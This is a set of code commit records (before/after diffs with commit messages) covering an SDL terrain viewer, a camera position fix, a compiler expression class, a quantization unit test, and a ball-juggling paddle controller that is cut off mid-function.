turns off FP bug core dumps, ignoring\t*\/\n\t\/*\tthe error like most platforms do by default.\t\t\t\t\t*\/\n\tfpsetmask(0);\n#endif\n\tprintf(\"Initializing SDL..\\n\");\n\tvideosettings(true, false);\n\n\tprintf(\"Creating the terrain..\\n\");\n\tif (!CreateScene())\n\t\treturn 0;\n\n\tprintf(\"Running..\\n\");\n\trun();\n\n\treturn 0;\n}\n\nint main(int, char ** )\n{\n\tApp app;\n\treturn app.main();\n}\n<commit_msg>begin PSM support<commit_after>\/\/\n\/\/ Name:\t app.cpp\n\/\/ Purpose:  Example GLUT\/vtlib application.\n\/\/\n\/\/ Copyright (c) 2001 Virtual Terrain Project\n\/\/ Free for all uses, see license.txt for details.\n\/\/\n\n#include \"SDL.h\"\n#ifdef __FreeBSD__\n#  include <ieeefp.h>\n#endif\n\n#include \"vtlib\/vtlib.h\"\n#include \"vtlib\/core\/Terrain.h\"\n#include \"vtlib\/core\/TerrainScene.h\"\n#include \"vtlib\/core\/NavEngines.h\"\n\nclass App\n{\npublic:\n\tbool CreateScene();\n\n\tvoid videosettings(bool same_video_mode, bool fullscreen);\n\tvoid display();\n\tvoid run();\n\tint main();\n\tvoid process_mouse_button(const SDL_Event &event);\n\tvoid process_mouse_motion(const SDL_Event &event);\n\tvoid process_event(const SDL_Event &event);\n\tvoid process_events();\n};\n\n\n\/\/\n\/\/ Initialize the SDL display.  This code originated from another project,\n\/\/ so i am not sure of the details, but it should work well on each\n\/\/ platform.\n\/\/\nvoid App::videosettings(bool same_video_mode, bool fullscreen)\n{\n\tint width, height;\n\n\tif ( ( SDL_Init( SDL_INIT_VIDEO | SDL_INIT_AUDIO ) == -1 ) )\n\t{\n\t\tstd::cerr << \"Could not initialize SDL: \" << SDL_GetError() << std::endl;\n\t\texit( -1 );\n\t}\n\tatexit( SDL_Quit );\n\n\tSDL_VideoInfo const * info = SDL_GetVideoInfo();\n\tif( !info )\n\t{\n\t\tstd::cerr << \"Video query failed: \" << SDL_GetError( ) << std::endl;\n\t\texit( -1 );\n\t}\n\n\tint num_modes;\n\tSDL_Rect ** modes = SDL_ListModes(NULL, SDL_FULLSCREEN);\n\tif ( (modes != NULL) && (modes != (SDL_Rect **)-1) )\n\t{\n\t\tfor (num_modes = 0; modes[num_modes]; num_modes++);\n\t\tif ( same_video_mode )\n\t\t{\n\t\t\t\/\/ EEERRR should get the surface and use its parameters\n\t\t\twidth = modes[0]->w;\n\t\t\theight = modes[0]->h;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor ( int i=num_modes-1; i >= 0; i-- )\n\t\t\t{\n\t\t\t\twidth = modes[i]->w;\n\t\t\t\theight = modes[i]->h;\n\t\t\t\tif ( (modes[i]->w >= 1024) && (modes[i]->h >= 768) ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} \n\t}\n\telse\n\t{\n\t\tstd::cerr << \"Video list modes failed: \" << SDL_GetError( ) << std::endl; \n\t\texit( -1 );\n\t}\n\n\tstd::cerr << width << \" \" << height << std::endl;\n\tSDL_GL_SetAttribute( SDL_GL_RED_SIZE, 5 );\n\tSDL_GL_SetAttribute( SDL_GL_GREEN_SIZE, 5 );\n\tSDL_GL_SetAttribute( SDL_GL_BLUE_SIZE, 5 );\n\tSDL_GL_SetAttribute( SDL_GL_DEPTH_SIZE, 16 );\n\tSDL_GL_SetAttribute( SDL_GL_DOUBLEBUFFER, 1 );\n\n\tint flags = SDL_OPENGL | SDL_DOUBLEBUF;\n\n\tif (fullscreen)\n\t\tflags |= SDL_FULLSCREEN;\n\tif ( info->hw_available )\n\t\tflags |= SDL_HWSURFACE;\n\telse\n\t\tflags |= SDL_SWSURFACE;\n\n\tif ( info->blit_hw )\n\t\tflags |= SDL_HWACCEL;\n\n\tif( SDL_SetVideoMode( width, height, 16, flags ) == 0 )\n\t{\n\t\tstd::cerr << \"Video mode set failed: \" << SDL_GetError( ) << std::endl; \n\t\texit( -1 );\n\t}\n\t\/\/ Tell the SDL output size to vtlib\n\tvtGetScene()->SetWindowSize(width, height);\n}\n\n\/\/--------------------------------------------------------------------------\n\n\/\/\n\/\/ Create the 3d scene: call vtlib to load the terrain and prepare for\n\/\/ user interaction.\n\/\/\nbool App::CreateScene()\n{\n\t\/\/ Get a handle to the vtScene - one is already created for you\n\tvtScene *pScene = vtGetScene();\n\tpScene->Init();\n\n\t\/\/ Set the global data path\n\tStringArray paths;\n\tpaths.Append(new vtString(\"Data\/\"));\n\tvtTerrain::SetDataPath(paths);\n\n\t\/\/ Look up the camera\n\tvtCamera *pCamera = pScene->GetCamera();\n\tpCamera->SetHither(10);\n\tpCamera->SetYon(100000);\n\n\t\/\/ Create a new terrain scene.  This will contain all the terrain\n\t\/\/ that are created.\n\tvtTerrainScene *ts = new vtTerrainScene();\n\tvtRoot *pTopGroup = ts->BeginTerrainScene(false);\n\n\t\/\/ Tell the scene graph to point to this terrain scene\n\tpScene->SetRoot(pTopGroup);\n\n\t\/\/ Create a new vtTerrain, read its paramters from a file\n\tvtTerrain *pTerr = new vtTerrain();\n\tpTerr->SetParamFile(\"Data\/Simple.ini\");\n\n\t\/\/ Add the terrain to the scene, and contruct it\n\tts->AppendTerrain(pTerr);\n\tint iError;\n\tif (!pTerr->CreateScene(false, iError))\n\t{\n\t\tprintf(\"Terrain creation failed.\");\n\t\treturn false;\n\t}\n\tts->Finish(paths);\n\tts->SetTerrain(pTerr);\n\n\t\/\/ Create a navigation engine to move around on the terrain\n\t\/\/ Flight speed is 400 m\/frame\n\t\/\/ Height over terrain is 100 m\n\tvtTerrainFlyer *pFlyer = new vtTerrainFlyer(400, 100, true);\n\tpFlyer->SetTarget(pCamera);\n\tpFlyer->SetHeightField(pTerr->GetHeightField());\n\tpScene->AddEngine(pFlyer);\n\n\treturn true;\n}\n\nvoid App::display()\n{\n#if !VTLIB_PSM\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n\tvtGetScene()->DoUpdate();\n\n\tSDL_GL_SwapBuffers();\n#endif\n}\n\nvoid App::process_mouse_button(const SDL_Event &sdle)\n{\n\t\/\/ turn SDL mouse button event into a VT mouse event\n\tvtMouseEvent event;\n\tevent.type = (sdle.button.type == SDL_MOUSEBUTTONDOWN) ? VT_DOWN : VT_UP;\n\n\tif (sdle.button.button == 1)\n\t\tevent.button = VT_LEFT;\n\telse if (sdle.button.button == 2)\n\t\tevent.button = VT_MIDDLE;\n\telse if (sdle.button.button == 3)\n\t\tevent.button = VT_RIGHT;\n\n\tevent.flags = 0;\n\tevent.pos.Set(sdle.button.x, sdle.button.y);\n\n\tvtGetScene()->OnMouse(event);\n}\n\nvoid App::process_mouse_motion(const SDL_Event &sdle)\n{\n\t\/\/ turn SDL mouse move event into a VT mouse event\n\tvtMouseEvent event;\n\tevent.type = VT_MOVE;\n\tevent.button = VT_NONE;\n\tevent.flags = 0;\n\tevent.pos.Set(sdle.motion.x, sdle.motion.y);\n\n\tvtGetScene()->OnMouse(event);\n}\n\nvoid App::process_event(const SDL_Event &event)\n{\n\tint key;\n\n\tswitch( event.type )\n\t{\n\t\tcase SDL_QUIT:\n\t\t\texit(0);\n\t\tcase SDL_KEYDOWN:\n\t\t\tbreak;\n\t\tcase SDL_KEYUP:\n\t\t\t\/\/ turn SDL key event into a VT mouse event\n\t\t\tkey = event.key.keysym.sym;\n\t\t\tif ( key == 27 \/* ESC *\/ || key == 'q' || key == 'Q' )\n\t\t\t\texit(0);\n\t\t\tvtGetScene()->OnKey(key, 0);\n\t\t\tbreak;\n\t\tcase SDL_MOUSEMOTION:\n\t\t\tprocess_mouse_motion(event);\n\t\t\tbreak;\n\t\tcase SDL_MOUSEBUTTONDOWN:\n\t\tcase SDL_MOUSEBUTTONUP:\n\t\t\tprocess_mouse_button(event);\n\t\t\tbreak;\n\t\tcase SDL_VIDEORESIZE:\n\t\t\t\/\/ Tell vtlib\n\t\t\tvtGetScene()->SetWindowSize(event.resize.w, event.resize.h);\n\t\t\tbreak;\n\t}\n}\n\nvoid App::process_events()\n{\n\tSDL_Event event;\n\n\twhile ( SDL_PollEvent( &event ) )\n\t\tprocess_event(event);\n}\n\nvoid App::run()\n{\n\twhile ( true )\n\t{\n\t\tdisplay();\t\t\t\/\/ draw scene\n\t\tprocess_events();\t\/\/ handle user events\n\t}\n}\n\n\/*\n  The works.\n*\/\nint App::main()\n{\n#ifdef __FreeBSD__\n\t\/*  FreeBSD is more stringent with FP ops by default, and OSG is\t*\/\n\t\/*\tdoing silly things sqrt(Inf) (computing lengths of MAXFLOAT\t\t*\/\n\t\/*\tand NaN Vec3's).   This turns off FP bug core dumps, ignoring\t*\/\n\t\/*\tthe error like most platforms do by default.\t\t\t\t\t*\/\n\tfpsetmask(0);\n#endif\n\tprintf(\"Initializing SDL..\\n\");\n\tvideosettings(true, false);\n\n\tprintf(\"Creating the terrain..\\n\");\n\tif (!CreateScene())\n\t\treturn 0;\n\n\tprintf(\"Running..\\n\");\n\trun();\n\n\treturn 0;\n}\n\nint main(int, char ** )\n{\n\tApp app;\n\treturn app.main();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#include \"scene.h\"\n#include <glm\/gtc\/matrix_transform.hpp>\nnamespace strat\n{\n  namespace gfx\n  {\n    glm::mat4 const& Scene::projection_matrix() const noexcept\n    {\n      return projection_;\n    }\n    void Scene::projection_matrix(glm::mat4 const& p) noexcept\n    {\n      if(p != projection_)\n      {\n        for(auto obs : observers_)\n        {\n          obs->set_projection(p);\n        }\n        projection_ = p;\n      }\n    }\n\n    glm::mat4 const& Scene::view_matrix() const noexcept\n    {\n      return view_;\n    }\n    void Scene::view_matrix(glm::mat4 const& v) noexcept\n    {\n      if(v != view_)\n      {\n        for(auto obs : observers_)\n        {\n          obs->set_view(v);\n        }\n        view_ = v;\n      }\n    }\n    void Scene::on_observer_add_(IScene_Observer* obs) const noexcept\n    {\n      \/\/ Set both the projection and view matrix on the scene.\n      obs->set_projection(projection_);\n      obs->set_view(view_);\n    }\n\n    Scene make_isometric_scene() noexcept\n    {\n      auto ret = Scene{};\n      ret.projection_matrix(glm::ortho(-10.0, 10.0, -10.0, 10.0, 0.1, 100.0));\n      ret.view_matrix(glm::lookAt(glm::vec3(-5.0, 10, -5.0),\n                                  glm::vec3(0.0, 0.0, 0.0),\n                                  glm::vec3(0.0, 1.0, 0.0)));\n      return ret;\n    }\n  }\n}\n<commit_msg>We shouldn't be totally reversed in our camera position.<commit_after>\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#include \"scene.h\"\n#include <glm\/gtc\/matrix_transform.hpp>\nnamespace strat\n{\n  namespace gfx\n  {\n    glm::mat4 const& Scene::projection_matrix() const noexcept\n    {\n      return projection_;\n    }\n    void Scene::projection_matrix(glm::mat4 const& p) noexcept\n    {\n      if(p != projection_)\n      {\n        for(auto obs : observers_)\n        {\n          obs->set_projection(p);\n        }\n        projection_ = p;\n      }\n    }\n\n    glm::mat4 const& Scene::view_matrix() const noexcept\n    {\n      return view_;\n    }\n    void Scene::view_matrix(glm::mat4 const& v) noexcept\n    {\n      if(v != view_)\n      {\n        for(auto obs : observers_)\n        {\n          obs->set_view(v);\n        }\n        view_ = v;\n      }\n    }\n    void Scene::on_observer_add_(IScene_Observer* obs) const noexcept\n    {\n      \/\/ Set both the projection and view matrix on the scene.\n      obs->set_projection(projection_);\n      obs->set_view(view_);\n    }\n\n    Scene make_isometric_scene() noexcept\n    {\n      auto ret = Scene{};\n      ret.projection_matrix(glm::ortho(-10.0, 10.0, -10.0, 10.0, 0.1, 100.0));\n      ret.view_matrix(glm::lookAt(glm::vec3(5.0, 10, 5.0),\n                                  glm::vec3(0.0, 0.0, 0.0),\n                                  glm::vec3(0.0, 1.0, 0.0)));\n      return ret;\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>psuedo code for new renderer system.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/**\n * @file\n *\/\n#include \"bi\/expression\/LocalVariable.hpp\"\n\n#include \"bi\/visitor\/all.hpp\"\n\nbi::LocalVariable::LocalVariable(const Annotation annotation, Name* name,\n    Type* type, Expression* brackets, Expression* args, Expression* value,\n    Location* loc) :\n    Annotated(annotation),\n    Expression(type, loc),\n    Named(name),\n    Bracketed(brackets),\n    Argumented(args),\n    Valued(value) {\n  \/\/\n}\n\nbi::LocalVariable::~LocalVariable() {\n  \/\/\n}\n\nbool bi::LocalVariable::needsConstruction() const {\n  return !args->isEmpty()\n      || (value->isEmpty() && (!type->isArray() || !brackets->isEmpty()));\n}\n\nbi::Expression* bi::LocalVariable::accept(Cloner* visitor) const {\n  return visitor->clone(this);\n}\n\nbi::Expression* bi::LocalVariable::accept(Modifier* visitor) {\n  return visitor->modify(this);\n}\n\nvoid bi::LocalVariable::accept(Visitor* visitor) const {\n  visitor->visit(this);\n}\n<commit_msg>Fixed compile warning.<commit_after>\/**\n * @file\n *\/\n#include \"bi\/expression\/LocalVariable.hpp\"\n\n#include \"bi\/visitor\/all.hpp\"\n\nbi::LocalVariable::LocalVariable(const Annotation annotation, Name* name,\n    Type* type, Expression* brackets, Expression* args, Expression* value,\n    Location* loc) :\n    Expression(type, loc),\n    Annotated(annotation),\n    Named(name),\n    Bracketed(brackets),\n    Argumented(args),\n    Valued(value) {\n  \/\/\n}\n\nbi::LocalVariable::~LocalVariable() {\n  \/\/\n}\n\nbool bi::LocalVariable::needsConstruction() const {\n  return !args->isEmpty()\n      || (value->isEmpty() && (!type->isArray() || !brackets->isEmpty()));\n}\n\nbi::Expression* bi::LocalVariable::accept(Cloner* visitor) const {\n  return visitor->clone(this);\n}\n\nbi::Expression* bi::LocalVariable::accept(Modifier* visitor) {\n  return visitor->modify(this);\n}\n\nvoid bi::LocalVariable::accept(Visitor* visitor) const {\n  visitor->visit(this);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/\n\/\/ MIT License\n\/\/\n\/\/ Copyright (c) 2017 Stellacore Corporation.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining\n\/\/ a copy of this software and associated documentation files (the\n\/\/ \"Software\"), to deal in the Software without restriction, including\n\/\/ without limitation the rights to use, copy, modify, merge, publish,\n\/\/ distribute, sublicense, and\/or sell copies of the Software, and to\n\/\/ permit persons to whom the Software is furnished to do so, subject\n\/\/ to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be\n\/\/ included in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY\n\/\/ KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n\/\/ WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n\/\/ BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN\n\/\/ AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR\n\/\/ IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/\n\n\/*! \\file\n\\brief  This file contains unit test for dat::quantum\n*\/\n\n\n#include \"libdat\/quantum.h\"\n\n#include \"libdat\/compare.h\"\n#include \"libdat\/info.h\"\n#include \"libdat\/validity.h\"\n#include \"libio\/stream.h\"\n\n#include <iostream>\n#include <sstream>\n#include <string>\n\n\nnamespace\n{\n\n\/\/! Check for common functions\nstd::string\ndat_quantum_test0\n\t()\n{\n\tstd::ostringstream oss;\n\t\/*\n\tdat::quantum const aNull(dat::nullValue<dat::quantum>());\n\tif (dat::isValid(aNull))\n\t{\n\t\toss << \"Failure of null value test\" << std::endl;\n\t\toss << \"infoString: \" << dat::infoString(aNull) << std::endl;\n\t}\n\t*\/\n\treturn oss.str();\n}\n\n\n\t\/\/! Generate test cases for specified types (need to support negatives)\n\ttemplate <typename BaseType, typename DataType>\n\tvoid\n\trunTest\n\t\t( std::ostream & oss\n\t\t, std::string const & name\n\t\t)\n\t{\n\t\tusing FracType = DataType;\n\t\tdat::quantum::Splitter<BaseType, FracType> const quantizer{ 7 };\n\t\tusing FloorResid = std::pair<BaseType, FracType>;\n\t\tstd::vector<std::pair<DataType, FloorResid> > const valExpPairs\n\t\t\t{ {  9, {  1, 2 } }\n\t\t\t, {  3, {  0, 3 } }\n\t\t\t, {  0, {  0, 0 } }\n\t\t\t, { -3, { -1, 4 } }\n\t\t\t, { -9, { -2, 5 } }\n\t\t\t};\n\n\t\tfor (std::pair<DataType, FloorResid> const & valExpPair : valExpPairs)\n\t\t{\n\t\t\tDataType const & value = valExpPair.first;\n\t\t\tFloorResid const & expFR = valExpPair.second;\n\t\t\tFloorResid const gotFR{ quantizer(value) };\n\t\t\tif (! dat::nearlyEquals(gotFR, expFR))\n\t\t\t{\n\t\t\t\toss << \"Failure of quantizer test: \" << name << std::endl;\n\t\t\t\toss << dat::infoString(expFR, \"expFR\") << std::endl;\n\t\t\t\toss << dat::infoString(gotFR, \"gotFR\") << std::endl;\n\t\t\t}\n\t\t}\n\t}\n\n\n\/\/! Check quantization functor\nstd::string\ndat_quantum_test1\n\t()\n{\n\tstd::ostringstream oss;\n\n\trunTest<int, int>(oss, \"int,int\");\n\trunTest<int, float>(oss, \"int,float\");\n\trunTest<double, int>(oss, \"double,int\");\n\trunTest<double, float>(oss, \"double,float\");\n\n\treturn oss.str();\n}\n\n\n}\n\n\/\/! Unit test for dat::quantum\nint\nmain\n\t( int const \/*argc*\/\n\t, char const * const * \/*argv*\/\n\t)\n{\n\tstd::ostringstream oss;\n\n\t\/\/ run tests\n\toss << dat_quantum_test0();\n\toss << dat_quantum_test1();\n\n\t\/\/ check\/report results\n\tstd::string const errMessages(oss.str());\n\tif (! errMessages.empty())\n\t{\n\t\tio::err() << errMessages << std::endl;\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n<commit_msg>testdat\/uquantum.cpp added Splitter test for fractional delta<commit_after>\/\/\n\/\/\n\/\/ MIT License\n\/\/\n\/\/ Copyright (c) 2017 Stellacore Corporation.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining\n\/\/ a copy of this software and associated documentation files (the\n\/\/ \"Software\"), to deal in the Software without restriction, including\n\/\/ without limitation the rights to use, copy, modify, merge, publish,\n\/\/ distribute, sublicense, and\/or sell copies of the Software, and to\n\/\/ permit persons to whom the Software is furnished to do so, subject\n\/\/ to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be\n\/\/ included in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY\n\/\/ KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n\/\/ WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n\/\/ BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN\n\/\/ AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR\n\/\/ IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/\n\n\/*! \\file\n\\brief  This file contains unit test for dat::quantum\n*\/\n\n\n#include \"libdat\/quantum.h\"\n\n#include \"libdat\/compare.h\"\n#include \"libdat\/info.h\"\n#include \"libdat\/validity.h\"\n#include \"libio\/stream.h\"\n\n#include <iostream>\n#include <sstream>\n#include <string>\n\n\nnamespace\n{\n\n\/\/! Check for common functions\nstd::string\ndat_quantum_test0\n\t()\n{\n\tstd::ostringstream oss;\n\t\/*\n\tdat::quantum const aNull(dat::nullValue<dat::quantum>());\n\tif (dat::isValid(aNull))\n\t{\n\t\toss << \"Failure of null value test\" << std::endl;\n\t\toss << \"infoString: \" << dat::infoString(aNull) << std::endl;\n\t}\n\t*\/\n\n\t\/\/ check general convention\n\tdat::quantum::Splitter<long, double> const split{ .25 };\n\tstd::pair<long, double> const expPos{ 3L*4L + 3L, 0. };\n\tstd::pair<long, double> const gotPos{ split(3.75) };\n\tif (! dat::nearlyEquals(gotPos, expPos))\n\t{\n\t\toss << \"Failure of fractional delta positive value test\" << std::endl;\n\t\toss << dat::infoString(expPos, \"expPos\") << std::endl;\n\t\toss << dat::infoString(gotPos, \"gotPos\") << std::endl;\n\t}\n\n\tstd::pair<long, double> const expNeg{ -4L*4L + 1L, 0. };\n\tstd::pair<long, double> const gotNeg{ split(-3.75) };\n\tif (! dat::nearlyEquals(gotNeg, expNeg))\n\t{\n\t\toss << \"Failure of fractional delta negative value test\" << std::endl;\n\t\toss << dat::infoString(expNeg, \"expNeg\") << std::endl;\n\t\toss << dat::infoString(gotNeg, \"gotNeg\") << std::endl;\n\t}\n\n\n\treturn oss.str();\n}\n\n\n\t\/\/! Generate test cases for specified types (need to support negatives)\n\ttemplate <typename BaseType, typename DataType>\n\tvoid\n\trunTest\n\t\t( std::ostream & oss\n\t\t, std::string const & name\n\t\t)\n\t{\n\t\tusing FracType = DataType;\n\t\tdat::quantum::Splitter<BaseType, FracType> const quantizer{ 7 };\n\t\tusing FloorResid = std::pair<BaseType, FracType>;\n\t\tstd::vector<std::pair<DataType, FloorResid> > const valExpPairs\n\t\t\t{ {  9, {  1, 2 } }\n\t\t\t, {  3, {  0, 3 } }\n\t\t\t, {  0, {  0, 0 } }\n\t\t\t, { -3, { -1, 4 } }\n\t\t\t, { -9, { -2, 5 } }\n\t\t\t};\n\n\t\tfor (std::pair<DataType, FloorResid> const & valExpPair : valExpPairs)\n\t\t{\n\t\t\tDataType const & value = valExpPair.first;\n\t\t\tFloorResid const & expFR = valExpPair.second;\n\t\t\tFloorResid const gotFR{ quantizer(value) };\n\t\t\tif (! dat::nearlyEquals(gotFR, expFR))\n\t\t\t{\n\t\t\t\toss << \"Failure of quantizer test: \" << name << std::endl;\n\t\t\t\toss << dat::infoString(expFR, \"expFR\") << std::endl;\n\t\t\t\toss << dat::infoString(gotFR, \"gotFR\") << std::endl;\n\t\t\t}\n\t\t}\n\t}\n\n\n\/\/! Check quantization functor\nstd::string\ndat_quantum_test1\n\t()\n{\n\tstd::ostringstream oss;\n\n\trunTest<int, int>(oss, \"int,int\");\n\trunTest<int, float>(oss, \"int,float\");\n\trunTest<double, int>(oss, \"double,int\");\n\trunTest<double, float>(oss, \"double,float\");\n\n\treturn oss.str();\n}\n\n\n}\n\n\/\/! Unit test for dat::quantum\nint\nmain\n\t( int const \/*argc*\/\n\t, char const * const * \/*argv*\/\n\t)\n{\n\tstd::ostringstream oss;\n\n\t\/\/ run tests\n\toss << dat_quantum_test0();\n\toss << dat_quantum_test1();\n\n\t\/\/ check\/report results\n\tstd::string const errMessages(oss.str());\n\tif (! errMessages.empty())\n\t{\n\t\tio::err() << errMessages << std::endl;\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Controller.h\"\n#include <iostream>\n\nController::Controller():\n\tmy_serial(port, baud, serial::Timeout::simpleTimeout(timeOut))\n{\n\tsigmaRef = 0.0;\n\tpsiRef = 0.0;\n\n\tJRigidInv << 0, 0,\n\t\t\t\t 0, 0;\n\t\n\txip(0) = 0.0;\n\txip(1) = 0.0;\n\n\tqpRef = JRigidInv*xip;\n\n\tpsipRef = qpRef(0);\n\tsigmapRef = qpRef(1);\n\n\tH = 1 \/ 2 * pow(0.0, 2) + g*sin(beta)*0.0;\n\tHref = getReferenceEnergy();\n\tHtilde = H - Href;\n\n\tthis->init();\n\n}\n\n\/\/ Controller::Controller(double x, double z, double xp, double zp)\n\/\/ {\n\t\/\/JRigidInv.resize(2, 2);\n\t\/\/xip.resize(2, 1);\n\t\/\/qpRef.resize(2, 1);\n\t\n\t\/\/sigmaRef = sqrt(-pow(r, 2) + pow(ox - x, 2) + pow(oz - z, 2));\n\t\/\/psiRef = atan2((oz - z)*sigmaRef + r*(x - ox), (x - ox)*sigmaRef + r*(z - oz));\n\n\t\/\/JRigidInv(0,0) = (ox*r - r*x + sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2))*(-oz + z)) \/\n\t\/\/\t((pow(ox - x, 2) + pow(oz - z, 2))*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)));\n\n\t\/\/JRigidInv(0, 1) = (oz*r + (ox - x)*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)) - r*z) \/\n\t\/\/\t((pow(ox - x, 2) + pow(oz - z, 2))*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)));\n\n\t\/\/JRigidInv(1, 0) = (-ox + x) \/ sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2));\n\n\t\/\/JRigidInv(1,1) = (-oz + z) \/ sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2));\n\n\t\/\/xip(0) = xp;\n\t\/\/xip(1) = zp;\n\n\t\/\/qpRef = JRigidInv*xip;\n\n\t\/\/psipRef = qpRef(0);\n\t\/\/sigmapRef = qpRef(1);\n\n\t\/\/H = 1 \/ 2 * pow(zp, 2) + g*sin(beta)*z;\n\t\/\/Href = getReferenceEnergy();\n\t\/\/Htilde = H - Href;\n\n\n\/\/}\n\nController::~Controller()\n{\n\n}\n\n\nvoid Controller::init()\n{\n\/\/ create a motor object\n\n\/\/std::cout << \"Main Thread :: ID = \" << std::this_thread::get_id() << std::endl;\n\nint motorSetPosition = 0;\n\/\/std::cout << \"In Main Thread : Before Thread Start motorSetPosition = \" << motorSetPosition << std::endl;\n\n\nstd::cout << \"Start Motor Thread\" << std::endl;\n\/\/ ToDo: get a handle on that thread\nstd::thread threadObj(&MotorDriver::motor_control_thread_function, &this->motorObj, std::ref(motorSetPosition));\nif (threadObj.joinable())\n{\n\t\/\/threadObj.join();\n\t\/\/std::cout << \"Joined Thread \" << std::endl;\n\tstd::cout << \"Detaching Thread \" << std::endl;\n\tthreadObj.detach();\n}\n\n\/\/\/\/ port, baudrate, timeout in milliseconds\n\/\/my_serial.setBaudrate(baud);\n\/\/my_serial.setPort(port);\n\/\/my_serial.setTimeout(serial::Timeout::max(), timeOut, 0, timeOut, 0);\n\ncout << \"Is the serial port open?\";\nif (my_serial.isOpen())\ncout << \" Yes.\" << endl;\nelse\ncout << \" No.\" << endl;\n\n\/\/std::cout << \"In Main Thread : After Thread Joins motorSetPosition = \" << motorSetPosition << std::endl;\n\n}\nVector2d Controller::getBallPosition()\n{\n\treturn Vector2d(x, z);\n}\n\nvoid Controller::setBallPosition(double a, double b)\n{\n\tx = a;\n\tz = b;\n}\n\nVector2d Controller::getBallVelocity()\n{\n\treturn Vector2d(xp, zp);\n}\n\nvoid Controller::setBallVelocity(double a, double b)\n{\n\txp = a;\n\tzp = b;\n}\n\n\ndouble Controller::getReferenceEnergy()\n{\n\treturn Href;\n}\n\nvoid Controller::setReferenceEnergy(double referenceEnergy)\n{\n\tHref = referenceEnergy;\n}\n\ndouble Controller::computeVerticalEnergy()\n{\n\treturn 1 \/ 2 * pow(zp, 2) + g*sin(beta)*z;\n}\n\nvoid Controller::computeJacobianInverse()\n{\n\tJRigidInv(0, 0) = (ox*r - r*x + sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2))*(-oz + z)) \/\n\t\t((pow(ox - x, 2) + pow(oz - z, 2))*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)));\n\n\tJRigidInv(0, 1) = (oz*r + (ox - x)*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)) - r*z) \/\n\t\t((pow(ox - x, 2) + pow(oz - z, 2))*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)));\n\n\tJRigidInv(1, 0) = (-ox + x) \/ sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2));\n\n\tJRigidInv(1, 1) = (-oz + z) \/ sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2));\n}\n\n\nvoid Controller::updateReferencePosition()\n{\n\tsigmaRef = sqrt(-pow(r, 2) + pow(ox - x, 2) + pow(oz - z, 2));\n\tpsiRef = atan2((oz - z)*sigmaRef + r*(x - ox), (x - ox)*sigmaRef + r*(z - oz));\n}\n\n\nvoid Controller::updateReferenceVelocity()\n{\n\tcomputeJacobianInverse();\n\tVector2d xip(xp, zp);\n\tVector2d refVel = JRigidInv*xip;\n\n\tpsipRef = refVel(0);\n\tsigmapRef = refVel(1);\n}\n\n\n\ndouble Controller::computeDesiredPaddlePosition()\n{\n\tdouble rhoBar = ox;\n\tdouble rhoRef = 0.0;\n\tdouble rhopRef = 0.0;\n\n\tH = computeVerticalEnergy();\n\tHtilde = H - Href;\n\n\tupdateReferencePosition();\n\tupdateReferenceVelocity();\n\n\trhoRef = sigmaRef*cos(psiRef);\n\trhopRef = sigmapRef*cos(psiRef) - 